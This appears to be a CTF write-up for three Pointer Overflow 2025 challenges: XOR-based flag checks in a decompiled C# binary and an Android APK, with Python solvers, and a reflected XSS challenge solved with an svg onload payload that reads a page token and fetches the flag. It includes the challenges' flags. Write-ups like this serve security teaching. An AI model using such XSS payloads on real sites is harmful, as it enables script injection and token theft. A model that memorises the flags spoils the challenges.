# Writeups UWSP Pointer Overflow CTF 2025 ## Reverse 100-1 Seven Easy Pieces ![image](https://hackmd.io/_uploads/rk8D40akZl.png) Since it is written in C#, i decompile using jetbrain dotpeek ![image](https://hackmd.io/_uploads/r1S9rA6kZx.png) ```csharp // Decompiled with JetBrains decompiler // Type: Program // Assembly: SevenEasyPieces, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: CF3F5C6A-2282-49B9-907D-93C001BEE737 // Assembly location: C:\Users\Admin\Desktop\pointeroverflow\Rev100-1.exe using System; #nullable disable public class Program { public static void Main() { int num1 = 0; int[] numArray; int num2; string str; while (true) { switch (num1) { case 0: numArray = new int[43] { 71, 88, 84, 67, 81, 76, 66, 64 /*0x40*/, 68, 71, 104, 2, 7, 90, 4, 104, 81, 91, 3, 1, 104, 0, 95, 6, 2, 104, 0, 66, 69, 89, 4, 83, 104, 7, 66, 0, 104, 0, 7, 104, 85, 4, 74 }; num2 = 0; str = Console.ReadLine(); if (str != null) { if (str.Length == 43) { num1 = 1; continue; } goto label_4; } goto label_52; case 1: for (int index = 0; index < 6; ++index) { if (((int) str[index] ^ 55) != numArray[index]) ++num2; } num1 = 2; continue; case 2: for (int index = 6; index < 12; ++index) { if (((int) str[index] ^ 55) != numArray[index]) ++num2; } num1 = 3; continue; case 3: for (int index = 12; index < 18; ++index) { if (((int) str[index] ^ 55) != numArray[index]) ++num2; } num1 = 4; continue; case 4: for (int index = 18; index < 24; ++index) { if (((int) str[index] ^ 55) != numArray[index]) ++num2; } num1 = 5; continue; case 5: for (int index = 24; index < 30; ++index) { if (((int) str[index] ^ 55) != numArray[index]) ++num2; } num1 = 6; continue; case 6: for (int index = 30; index < 36; ++index) { if (((int) str[index] ^ 55) != numArray[index]) ++num2; } num1 = 7; continue; case 7: for (int index = 36; index < 43; ++index) { if (((int) str[index] ^ 55) != numArray[index]) ++num2; } num1 = 8; continue; case 8: goto label_48; default: goto label_2; } } label_52: return; label_4: Console.WriteLine("nope"); return; label_48: if (num2 == 0) { Console.WriteLine("Correct!"); return; } Console.WriteLine("nope"); return; label_2:; } } ``` Solve script: ```python def recover_flag(): numArray = [71,88,84,67,81,76,66,64,68,71,104,2,7,90,4,104,81,91,3,1,104,0,95,6,2,104,0,66,69,89,4,83,104,7,66,0,104,0,7,104,85,4,74] key = 55 chars = [] for i, n in enumerate(numArray): c = chr(n ^ key) chars.append(c) return ''.join(chars) if __name__ == "__main__": flag = recover_flag() print(flag) #poctf{uwsp_50m3_fl46_7h15_7urn3d_0u7_70_b3} ``` ## Reverse 200-1 On Hinge and Pin ![image](https://hackmd.io/_uploads/HkeL8AayZx.png) I used jadx to decompile this apk file. ![image](https://hackmd.io/_uploads/S1QzD0TJZx.png) `com/poctf.onhingeandpin/Crypto.loadAndDecrypt()` contains the logic of the file. ```java package com.poctf.onhingeandpin; import android.content.Context; import java.io.IOException; import java.io.InputStream; import kotlin.Metadata; import kotlin.io.ByteStreamsKt; import kotlin.io.CloseableKt; import kotlin.jvm.internal.Intrinsics; import kotlin.text.Charsets; import kotlin.text.StringsKt; /* compiled from: Crypto.kt */ @Metadata(d1 = {"\u0000\u001c\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\bÆ\u0002\u0018\u00002\u00020\u0001B\u0007\b\u0002¢\u0006\u0002\u0010\u0002J\u0018\u0010\u0005\u001a\u00020\u00042\u0006\u0010\u0006\u001a\u00020\u00072\b\b\u0002\u0010\b\u001a\u00020\u0004R\u000e\u0010\u0003\u001a\u00020\u0004X\u0082T¢\u0006\u0002\n\u0000¨\u0006\t"}, d2 = {"Lcom/poctf/onhingeandpin/Crypto;", "", "()V", "KEY", "", "loadAndDecrypt", "ctx", "Landroid/content/Context;", "assetName", "app_debug"}, k = 1, mv = {1, 9, 0}, xi = 48) /* loaded from: classes3.dex */ public final class Crypto { public static final Crypto INSTANCE = new Crypto(); private static final String KEY = "ONOFFONOFF"; private Crypto() { } public static /* synthetic */ String loadAndDecrypt$default(Crypto crypto, Context context, String str, int i, Object obj) { if ((i & 2) != 0) { str = "enc_flag.bin"; } return crypto.loadAndDecrypt(context, str); } public final String loadAndDecrypt(Context ctx, String assetName) throws IOException { Intrinsics.checkNotNullParameter(ctx, "ctx"); Intrinsics.checkNotNullParameter(assetName, "assetName"); InputStream inputStreamOpen = ctx.getAssets().open(assetName); try { InputStream it = inputStreamOpen; Intrinsics.checkNotNull(it); byte[] data = ByteStreamsKt.readBytes(it); CloseableKt.closeFinally(inputStreamOpen, null); byte[] key = StringsKt.encodeToByteArray(KEY); byte[] out = new byte[data.length]; int length = data.length; for (int i = 0; i < length; i++) { out[i] = (byte) (data[i] ^ key[i % key.length]); } return new String(out, Charsets.UTF_8); } finally { } } } ``` `Crypto.loadAndDecrypt()` reads `assets/enc_flag.bin` and XORs every byte with the repeating key `"ONOFFONOFF"`, then returns UTF-8 text. I use `apktool` to decomplie resource to get `enc_flag.bin` in `assests` folder. Solver srcipt: ```python key = b"ONOFFONOFF" #?!,2 4;856-{(%|"%v:y:4u2 data = open("enc_flag.bin","rb").read() print(bytes([b ^ key[i % len(key)] for i,b in enumerate(data)]).decode()) #poctf{uwsp_c4nc3l_c0u7ur3} ``` ## Web 100-2 This Must Be the Place ![image](https://hackmd.io/_uploads/rkIuYRTkWg.png) This is reflected XSS that allows same-origin JavaScript to read `/flag`. ![image](https://hackmd.io/_uploads/S1B75R6k-e.png) ```html <!doctype html> <html lang="en"> <head><meta charset="utf-8"><title>This Must Be the Place</title></head> <body style="font-family: system-ui, sans-serif; padding: 1rem;"> <h1>Exhibit Search</h1> <form method="get" action="/"> <label for="name">Search name:</label> <input id="name" name="name" value="" /> <button type="submit">Search</button> </form> <h2>Results</h2> <div id="results"> </div> <!-- Expose the per-page token to same-origin JS (XSS in page can read it) --> <script>window.FLAG_TOKEN = "km9MlCQENRsv_qylyuyBfA";</script> </body> </html> ``` User input is reflected into the page without proper sanitization; event attributes (e.g. onload) are allowed. ```js <svg onload="fetch('/flag',{headers:{'X-Flag-Token':window.FLAG_TOKEN}}).then(r=>r.text()).then(t=>alert(t))"> ``` The browser parses `<svg>` and triggers `onload`, executing the `fetch`. The script reads `window.FLAG_TOKEN`, sends it as `X-Flag-Token` to `/flag` and displays the returned flag. ![image](https://hackmd.io/_uploads/HkVpq061Zg.png) --- **Thanks for reading!** 😎